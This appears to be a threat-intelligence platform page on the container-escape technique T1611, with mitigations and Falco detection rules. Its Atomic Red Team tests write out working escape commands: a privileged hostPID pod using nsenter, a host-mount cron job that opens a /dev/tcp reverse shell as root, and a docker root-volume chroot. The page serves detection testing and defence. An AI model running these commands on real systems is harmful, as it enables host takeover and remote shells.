Home/ATT&CK Technique/Escape to Host
ATT&CK Technique

Escape to Host

T1611 · privilege-escalation

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment. There are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host.

utilizing a privileged container to run commands or load a malicious kernel module on the underlying host.

or abusing system calls such as unshare and keyctl to escalate privileges and steal secrets. Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker.sock, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine. In ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor. Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.

WindowsLinuxContainersESXi
◆

Actors Using This

1
financially_motivated_cybercrime_cloud_native_cryptojacking_specialist_german_speaking_indicatorsTeamTNT (Cloud Cryptojacking Operator)
▸

Atomic Tests

3
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shcontainersDeploy container using nsenter container escape
In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container. Additional Details: - https://twitter.com/mauilion/status/1129468485480751104 - https://securekubernetes.com/scenario_2_attack/ 
kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'
shelevatedcontainersMount host filesystem to escape privileged Docker container
This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser. The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. 
if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
netcat -l -p #{listen_port} 2>&1
shelevatedcontainersPrivilege Escalation via Docker Volume Mapping
This test demonstrates privilege escalation by abusing Docker's volume mapping feature to gain access to the host file system. By mounting the root directory of the host into a Docker container, the attacker can use chroot to operate as root on the host system. 
echo "Current user: #{username}"
sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"
▣

Mitigations

5
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1026Privileged Account Management

Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.

Account Permissions and Roles
  • Implement RBAC and least privilege principles to allocate permissions securely.
  • Use tools like Active Directory Group Policies to enforce access restrictions.
Credential Security
  • Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.
  • Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).
Multi-Factor Authentication (MFA)
  • Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.
Privileged Access Management (PAM)
  • Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.
Auditing and Monitoring
  • Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.
Just-In-Time Access
  • Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.
Tools for Implementation Privileged Access Management (PAM)
  • CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.
Credential Management
  • Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.
Multi-Factor Authentication
  • Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.
Linux Privilege Management
  • sudo configuration, SELinux, AppArmor.
Just-In-Time Access
  • Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.
M1038Execution Prevention

Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

Application Control
  • Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.
  • Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath "C:\Policies\AppLocker.
xml"`) Script Blocking
  • Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.
  • Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g.
, Set-ExecutionPolicy AllSigned) Executable Blocking
  • Use Case: Prevent execution of binaries from suspicious locations, such as %TEMP% or %APPDATA% directories.
  • Implementation: Block execution of .exe, .bat, or .ps1 files from user-writable directories.
Dynamic Analysis Prevention
  • Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.
  • Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.
M1042Disable or Remove Feature or Program

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled.

Remove Legacy Software
  • Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
  • Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.
Disable Unused Features
  • Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
  • Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.
Control Applications Installed by Users
  • Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
  • Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.
Remove Unnecessary Services
  • Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
  • Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.
Restrict Add-ons and Plugins
  • Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
  • Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.
M1048Application Isolation and Sandboxing

Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact.

Browser Sandboxing
  • Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.
  • Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.
Application Virtualization
  • Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.
  • Implementation: Use application virtualization platforms to run applications in isolated environments.
Email Attachment Sandboxing
  • Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.
  • Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.
Endpoint Sandboxing
  • Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.
  • Implementation: Use endpoint protection tools for sandboxing at the endpoint level.
M1051Update Software

Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware.

Regular Operating System Updates
  • Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.
  • Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution. Application Patching.
  • Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.
  • Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches. Firmware Updates.
  • Implementation: Regularly check the vendor’s website for firmware updates addressing vulnerabilities. Plan for update deployment during scheduled maintenance to minimize business disruption.
  • Use Case: Protects against vulnerabilities that adversaries could exploit to gain access to network devices or inject malicious traffic. Emergency Patch Deployment.
  • Implementation: Use the emergency patch deployment feature of the organization's patch management tool to apply updates to all affected Exchange servers within 24 hours.
  • Use Case: Reduces the risk of exploitation by rapidly addressing critical vulnerabilities. Centralized Patch Management.
  • Implementation: Implement a centralized patch management system, such as SCCM or ManageEngine, to automate and track patch deployment across all environments. Generate regular compliance reports to ensure all systems are updated.
  • Use Case: Streamlines patching processes and ensures no critical systems are missed.
Tools for Implementation Patch Management Tools
  • WSUS: Manage and deploy Microsoft updates across the organization.
  • ManageEngine Patch Manager Plus: Automate patch deployment for OS and third-party apps.
  • Ansible: Automate updates across multiple platforms, including Linux and Windows.
Vulnerability Scanning Tools
  • OpenVAS: Open-source vulnerability scanning to identify missing patches.
◈

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 2
Analytics (MITRE CAR) none
Runtime / container (Falco) 8
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
◈

Falco Runtime Rules

8
Container / Linux runtime detections that fire on this technique.
CRITICALPrivileged Container Device Access
Detects container processes accessing raw block devices, which could be used to escape container isolation by directly reading or writing to host storage. This technique allows attackers to access the host filesystem, modify system files, or extract sensitive data even without traditional container escape. Requires the container to have privileged access or specific device permissions. Override user_known_privileged_device_access for legitimate storage operations.
view condition
(open_read or open_write) and container and (fd.name startswith /dev/sd or
     fd.name startswith /dev/nvme or
     fd.name startswith /dev/vd or
     fd.name startswith /dev/xvd or
     fd.name = /dev/mem or
     fd.name = /dev/kmem)
and not user_known_privileged_device_access
CRITICALDetect release_agent File Container Escapes
Detect an attempt to exploit a container escape using release_agent file. By running a container with certains capabilities, a privileged user can modify release_agent file and escape from the container.
view condition
open_write and container and fd.name endswith release_agent and (user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and thread.cap_effective contains CAP_SYS_ADMIN
NOTICEChange thread namespace
An attempt to alter the namespace of a process (often performed while creating a container) through the setns syscall. Conversely, the same syscall setns is triggered when an unauthorized attempt is made to break out from the container to the host, for example, when using commands like `nsenter --target 1` and similar ones. Recommending to profile your environment and refine this rule for effective operationalization.
view condition
evt.type=setns and proc_name_exists and not (container.id=host and proc.name in (docker_binaries, k8s_binaries, lxd_binaries, nsenter)) and not proc.name in (sysdigcloud_binaries, sysdig, calico, oci-umount, cilium-cni, network_plugin_binaries) and not proc.name in (user_known_change_thread_namespace_binaries) and not proc.name startswith "runc" and not proc.cmdline startswith "containerd" and not proc.pname in (sysdigcloud_binaries, hyperkube, kubelet, protokube, dockerd, tini, aws) and not java_running_sdjagent and not kubelet_running_loopback and not rancher_agent and not rancher_network_manager and not calico_node and not weaveworks_scope and not user_known_change_thread_namespace_activities
NOTICEChange namespace privileges via unshare
Unprivileged users in containers may not have CAP_SYS_ADMIN or other elevated privileges. However, they can use the unshare system call with CLONE_NEWNS or CLONE_NEWUSER to create or clone a namespace or user with the necessary privileges to conduct further attacks. It is best practice to block the unshare system call via seccomp if it is not needed. Misuse of unshare can be related to misconfigured Kubernetes clusters, for example.
view condition
evt.type=unshare and container and not thread.cap_permitted contains CAP_SYS_ADMIN
WARNINGModify Container Entrypoint
This rule detect an attempt to write on container entrypoint symlink (/proc/self/exe). Possible CVE-2019-5736 Container Breakout exploitation attempt. This rule has a more narrow scope.
view condition
open_write and container and (fd.name=/proc/self/exe or fd.name startswith /proc/self/fd/) and not docker_procs and not proc.cmdline = "runc:[1:CHILD] init"
WARNINGContainer Access to Host Sensitive Paths
Detects container processes accessing paths that typically only exist when the host filesystem is mounted into the container (like /host, /rootfs, /hostfs). This may indicate a container escape attempt or a misconfigured volume mount that exposes the host filesystem. Legitimate monitoring or backup containers may access these paths, so tune accordingly using the user_known_host_path_access macro.
view condition
(open_read or open_write) and container and (fd.name startswith /host/ or
     fd.name startswith /rootfs/ or
     fd.name startswith /hostfs/)
and not known_container_runtime_host_access and not user_known_host_path_access
WARNINGDebugfs Launched in Privileged Container
Detect file system debugger debugfs launched inside a privileged container which might lead to container escape. This rule has a more narrow scope.
view condition
spawned_process and container and container.privileged=true and proc.name=debugfs
WARNINGMount Launched in Privileged Container
Detect filesystem mounts (using the mount binary) within a privileged container. Due to the elevated privileges, this action could be one of the TTPs used in an attempt to escape from a container to the host. This type of action is often preceded by reconnaissance activities, for which you can also create custom rules.
view condition
spawned_process and container and container.privileged=true and proc.name=mount and not mount_info and not known_gke_mount_in_privileged_containers and not known_aks_mount_in_privileged_containers and not known_eks_mount_in_privileged_containers and not user_known_mount_in_privileged_containers
▣

Comply & Defend

NIST 800-53AC-02, AC-03, AC-04, AC-05, AC-06, CM-05, CM-06, CM-07, IA-02, SC-02, SC-03, SC-07, SC-34, SC-39, SI-02, SI-03, SI-04, SI-07, SI-16
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
MITRE ATT&CKAtomic Red Teamcar (MITRE)
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin